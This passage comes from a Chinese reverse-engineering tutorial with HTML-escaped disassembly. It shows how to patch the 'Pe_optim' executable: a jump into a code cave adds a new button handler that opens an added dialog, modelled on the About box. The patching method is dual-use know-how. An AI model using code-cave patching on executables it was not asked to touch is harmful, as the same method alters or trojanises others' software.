&amp;nbsp;call&amp;nbsp; &amp;nbsp; &amp;lt;jmp.&amp;amp;USER32.SendDlgItemMessageA&amp;nbsp;&amp;nbsp;USER32.SendDlgItemMessageA&amp;nbsp;&amp;nbsp;004065D1&amp;nbsp; &amp;nbsp;call&amp;nbsp; &amp;nbsp; &amp;lt;jmp.&amp;amp;USER32.SetDlgItemTextA&amp;gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;USER32.SetDlgItemTextA&amp;nbsp;&amp;nbsp;00406610&amp;nbsp; &amp;nbsp;call&amp;nbsp; &amp;nbsp; &amp;lt;jmp.&amp;amp;USER32.EndDialog&amp;gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;USER32.EndDialog&amp;nbsp;&amp;nbsp;00406634&amp;nbsp; &amp;nbsp;call&amp;nbsp; &amp;nbsp; &amp;lt;jmp.&amp;amp;KERNEL32.ExitProcess&amp;gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; kernel32.ExitProcess&amp;nbsp;&amp;nbsp;00406665&amp;nbsp; &amp;nbsp;call&amp;nbsp; &amp;nbsp; &amp;lt;jmp.&amp;amp;USER32.EndDialog&amp;gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;USER32.EndDialog&amp;nbsp;&amp;nbsp;004066D7&amp;nbsp; &amp;nbsp;call&amp;nbsp; &amp;nbsp; &amp;lt;jmp.&amp;amp;USER32.DialogBoxParamA&amp;gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;USER32.DialogBoxParamA&amp;nbsp;&amp;nbsp;0040675C&amp;nbsp; &amp;nbsp;push&amp;nbsp; &amp;nbsp; ebp&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; （初始 CPU 选择）&amp;nbsp;&amp;nbsp;004067A1&amp;nbsp; &amp;nbsp;call&amp;nbsp; &amp;nbsp; &amp;lt;jmp.&amp;amp;USER32.DialogBoxParamA&amp;gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;USER32.DialogBoxParamA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;双击进入第一个看看，到这里：&amp;nbsp;&amp;nbsp;004066D7&amp;nbsp; &amp;nbsp; E8 5CDFFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; &amp;lt;jmp.&amp;amp;USER32.DialogBoxParamA&amp;gt;&amp;nbsp;&amp;nbsp;004066DC&amp;nbsp; &amp;nbsp; EB 14&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066F2&amp;nbsp;&amp;nbsp;004066DE&amp;nbsp; &amp;nbsp; 8B45 08&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;eax, [ebp+8]&amp;nbsp;&amp;nbsp;004066E1&amp;nbsp; &amp;nbsp; A3 E0844000&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;[4084E0], eax&amp;nbsp;&amp;nbsp;004066E6&amp;nbsp; &amp;nbsp; E8 F5FDFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; Pe_optim.004064E0&amp;nbsp;&amp;nbsp;004066EB&amp;nbsp; &amp;nbsp; EB 05&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066F2&amp;nbsp;&amp;nbsp;004066ED&amp;nbsp; &amp;nbsp; E8 16FFFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; Pe_optim.00406608&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;往上翻翻，目标出现了&amp;nbsp;&amp;nbsp;00406695&amp;nbsp; &amp;nbsp; 81FB F8010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F8&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;典型的ID对比&amp;nbsp;&amp;nbsp;0040669B&amp;nbsp; &amp;nbsp; 75 05&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066A2&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; ID不正确则执行下一比较&amp;nbsp;&amp;nbsp;0040669D&amp;nbsp; &amp;nbsp; E8 66FFFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; Pe_optim.00406608&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ID就转到 00406608 执行响应操作&amp;nbsp;&amp;nbsp;004066A2&amp;nbsp; &amp;nbsp; 81FB F6010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F6&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;第二个ID对比&amp;nbsp;&amp;nbsp;004066A8&amp;nbsp; &amp;nbsp; 75 05&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066AF&amp;nbsp;&amp;nbsp;004066AA&amp;nbsp; &amp;nbsp; E8 89FCFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; Pe_optim.00406338&amp;nbsp;&amp;nbsp;004066AF&amp;nbsp; &amp;nbsp; 81FB F5010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F5&amp;nbsp;&amp;nbsp;004066B5&amp;nbsp; &amp;nbsp; 75 05&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066BC&amp;nbsp;&amp;nbsp;004066B7&amp;nbsp; &amp;nbsp; E8 C0ECFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; Pe_optim.0040537C&amp;nbsp;&amp;nbsp;004066BC&amp;nbsp; &amp;nbsp; 81FB F7010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F7&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;004066C2&amp;nbsp; &amp;nbsp; 75 2E&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066F2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;我们用 资源编辑软件打开 PO，看看各按钮的ID，关于按钮ID为503，我们再看这段代码：&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;004066BC&amp;nbsp; &amp;nbsp; 81FB F7010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F7&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;1F7是10进制503，正好是关于按钮的ID&amp;nbsp;&amp;nbsp;004066C2&amp;nbsp; &amp;nbsp; 75 2E&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066F2&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;如果ID不是503，跳转到004066f2&amp;nbsp;&amp;nbsp;004066C4&amp;nbsp; &amp;nbsp; 6A 00&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp; &amp;nbsp; 0&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; 以下就是关于对话框的响应代码&amp;nbsp;&amp;nbsp;004066C6&amp;nbsp; &amp;nbsp; 68 3C664000&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp; &amp;nbsp; Pe_optim.0040663C&amp;nbsp;&amp;nbsp;004066CB&amp;nbsp; &amp;nbsp; 8B45 08&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;eax, [ebp+8]&amp;nbsp;&amp;nbsp;004066CE&amp;nbsp; &amp;nbsp; 50&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp; &amp;nbsp; eax&amp;nbsp;&amp;nbsp;004066CF&amp;nbsp; &amp;nbsp; 6A 66&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp; &amp;nbsp; 66&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;66是关于对话框的ID，10进制102&amp;nbsp;&amp;nbsp;004066D1&amp;nbsp; &amp;nbsp; A1 DC844000&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;eax, [4084DC]&amp;nbsp;&amp;nbsp;004066D6&amp;nbsp; &amp;nbsp; 50&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp; &amp;nbsp; eax&amp;nbsp;&amp;nbsp;004066D7&amp;nbsp; &amp;nbsp; E8 5CDFFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; &amp;lt;jmp.&amp;amp;USER32.DialogBoxParamA&amp;gt;&amp;nbsp;&amp;nbsp;004066DC&amp;nbsp; &amp;nbsp; EB 14&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066F2&amp;nbsp;&amp;nbsp;004066DE&amp;nbsp; &amp;nbsp; 8B45 08&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;eax, [ebp+8]&amp;nbsp;&amp;nbsp;004066E1&amp;nbsp; &amp;nbsp; A3 E0844000&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;[4084E0], eax&amp;nbsp;&amp;nbsp;004066E6&amp;nbsp; &amp;nbsp; E8 F5FDFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; Pe_optim.004064E0&amp;nbsp;&amp;nbsp;004066EB&amp;nbsp; &amp;nbsp; EB 05&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066F2&amp;nbsp;&amp;nbsp;004066ED&amp;nbsp; &amp;nbsp; E8 16FFFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; Pe_optim.00406608&amp;nbsp;&amp;nbsp;004066F2&amp;nbsp; &amp;nbsp; 8BC6&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;eax, esi&amp;nbsp;&amp;nbsp;004066F4&amp;nbsp; &amp;nbsp; 5E&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;esi&amp;nbsp;&amp;nbsp;004066F5&amp;nbsp; &amp;nbsp; 5B&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx&amp;nbsp;&amp;nbsp;004066F6&amp;nbsp; &amp;nbsp; 5D&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebp&amp;nbsp;&amp;nbsp;004066F7&amp;nbsp; &amp;nbsp; C2 1000&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;retn&amp;nbsp; &amp;nbsp; 10&amp;nbsp;&amp;nbsp;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;我们就从这里下手，找一段空间，添加一段类似以上这段代码，把&amp;nbsp;&amp;nbsp;004066BC&amp;nbsp; &amp;nbsp; 81FB F7010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F7&amp;nbsp;&amp;nbsp;中的1F7 改为你添加的按钮的ID，比如我们添加的按钮ID为1F9，即505，把&amp;nbsp;&amp;nbsp;004066CF&amp;nbsp; &amp;nbsp; 6A 66&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; push&amp;nbsp; &amp;nbsp; 66&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;这句中的66改为你添加的对话框的资源ID，比如我们添加的为67，即103.&amp;nbsp;&amp;nbsp;其他更高深的代码本人就不能企及了，所以就直接仿造关于窗口。&amp;nbsp;&amp;nbsp;因此，本人所提到的方法不具有普遍的通用性，还希望抛砖引玉，高人指点，写出一些通用代码给我等菜鸟参考。&amp;nbsp;&amp;nbsp;接下来就是添加代码了&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;我们首先找一处空间，文件末端有很多，所以就用那里的，选择一个比较好记忆的地址，如：0040B333，然后我们将上面&amp;nbsp;&amp;nbsp;比较的代码改成下面这样：&amp;nbsp;&amp;nbsp;00406693&amp;nbsp; &amp;nbsp;/75 5D&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066F2&amp;nbsp;&amp;nbsp;00406695&amp;nbsp; &amp;nbsp;|81FB F8010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F8&amp;nbsp;&amp;nbsp;0040669B&amp;nbsp; &amp;nbsp;|75 05&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066A2&amp;nbsp;&amp;nbsp;0040669D&amp;nbsp; &amp;nbsp;|E8 66FFFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; Pe_optim.00406608&amp;nbsp;&amp;nbsp;004066A2&amp;nbsp; &amp;nbsp;|E9 8C4C0000&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Pe_optim.0040B333&amp;nbsp;&amp;nbsp;004066A7&amp;nbsp; &amp;nbsp;|90&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;nop&amp;nbsp;&amp;nbsp;004066A8&amp;nbsp; &amp;nbsp;|90&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;nop&amp;nbsp;&amp;nbsp;004066A9&amp;nbsp; &amp;nbsp;|90&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;nop&amp;nbsp;&amp;nbsp;004066AA&amp;nbsp; &amp;nbsp;|90&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;nop&amp;nbsp;&amp;nbsp;004066AB&amp;nbsp; &amp;nbsp;|90&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;nop&amp;nbsp;&amp;nbsp;004066AC&amp;nbsp; &amp;nbsp;|90&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;nop&amp;nbsp;&amp;nbsp;004066AD&amp;nbsp; &amp;nbsp;|90&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;nop&amp;nbsp;&amp;nbsp;004066AE&amp;nbsp; &amp;nbsp;|90&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;nop&amp;nbsp;&amp;nbsp;004066AF&amp;nbsp; &amp;nbsp;|81FB F5010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F5&amp;nbsp;&amp;nbsp;004066B5&amp;nbsp; &amp;nbsp;|75 05&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066BC&amp;nbsp;&amp;nbsp;004066B7&amp;nbsp; &amp;nbsp;|E8 C0ECFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; Pe_optim.0040537C&amp;nbsp;&amp;nbsp;004066BC&amp;nbsp; &amp;nbsp;|81FB F7010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F7&amp;nbsp;&amp;nbsp;004066C2&amp;nbsp; &amp;nbsp;|75 2E&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.004066F2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;即从&amp;nbsp;&amp;nbsp;004066A2&amp;nbsp; &amp;nbsp; 81FB F6010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F6&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;处直接跳转&amp;nbsp;&amp;nbsp;0040B333，然后再把这段比较代码加上去即可，其他两句先nop掉。&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;我们再 0040B333 处加上以下代码：&amp;nbsp;&amp;nbsp;0040B333&amp;nbsp; &amp;nbsp; 81FB F6010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F6&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;把上面nop掉的代码补回&amp;nbsp;&amp;nbsp;0040B339&amp;nbsp; &amp;nbsp; 75 05&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.0040B340&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; 0040B340是我们新增的比较的地址&amp;nbsp;&amp;nbsp;0040B33B&amp;nbsp; &amp;nbsp; E8 F8AFFFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; Pe_optim.00406338&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; 这一句不变&amp;nbsp;&amp;nbsp;0040B340&amp;nbsp; &amp;nbsp; 81FB F9010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F9&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;1F9这是我们添加的按钮的ID&amp;nbsp;&amp;nbsp;0040B346&amp;nbsp;&amp;nbsp;^ 0F85 63B3FFFF&amp;nbsp; &amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Pe_optim.004066AF&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;注1&amp;nbsp;&amp;nbsp;0040B34C&amp;nbsp; &amp;nbsp; 6A 00&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp; &amp;nbsp; 0&amp;nbsp;&amp;nbsp;0040B34E&amp;nbsp; &amp;nbsp; 68 3C664000&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp; &amp;nbsp; Pe_optim.0040663C&amp;nbsp;&amp;nbsp;0040B353&amp;nbsp; &amp;nbsp; 8B45 08&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;eax, [ebp+8]&amp;nbsp;&amp;nbsp;0040B356&amp;nbsp; &amp;nbsp; 50&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp; &amp;nbsp; eax&amp;nbsp;&amp;nbsp;0040B357&amp;nbsp; &amp;nbsp; 6A 67&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp; &amp;nbsp; 67&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;67是我们添加的对话框的ID&amp;nbsp;&amp;nbsp;0040B359&amp;nbsp; &amp;nbsp; A1 DC844000&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;eax, [4084DC]&amp;nbsp;&amp;nbsp;0040B35E&amp;nbsp; &amp;nbsp; 50&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp; &amp;nbsp; eax&amp;nbsp;&amp;nbsp;0040B35F&amp;nbsp; &amp;nbsp; E8 D492FFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; &amp;lt;jmp.&amp;amp;USER32.DialogBoxParamA&amp;gt;&amp;nbsp;&amp;nbsp;0040B364&amp;nbsp; &amp;nbsp; EB 14&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.0040B37A&amp;nbsp;&amp;nbsp;0040B366&amp;nbsp; &amp;nbsp; 8B45 08&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;eax, [ebp+8]&amp;nbsp;&amp;nbsp;0040B369&amp;nbsp; &amp;nbsp; A3 E0844000&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;[4084E0], eax&amp;nbsp;&amp;nbsp;0040B36E&amp;nbsp; &amp;nbsp; E8 6DB1FFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; 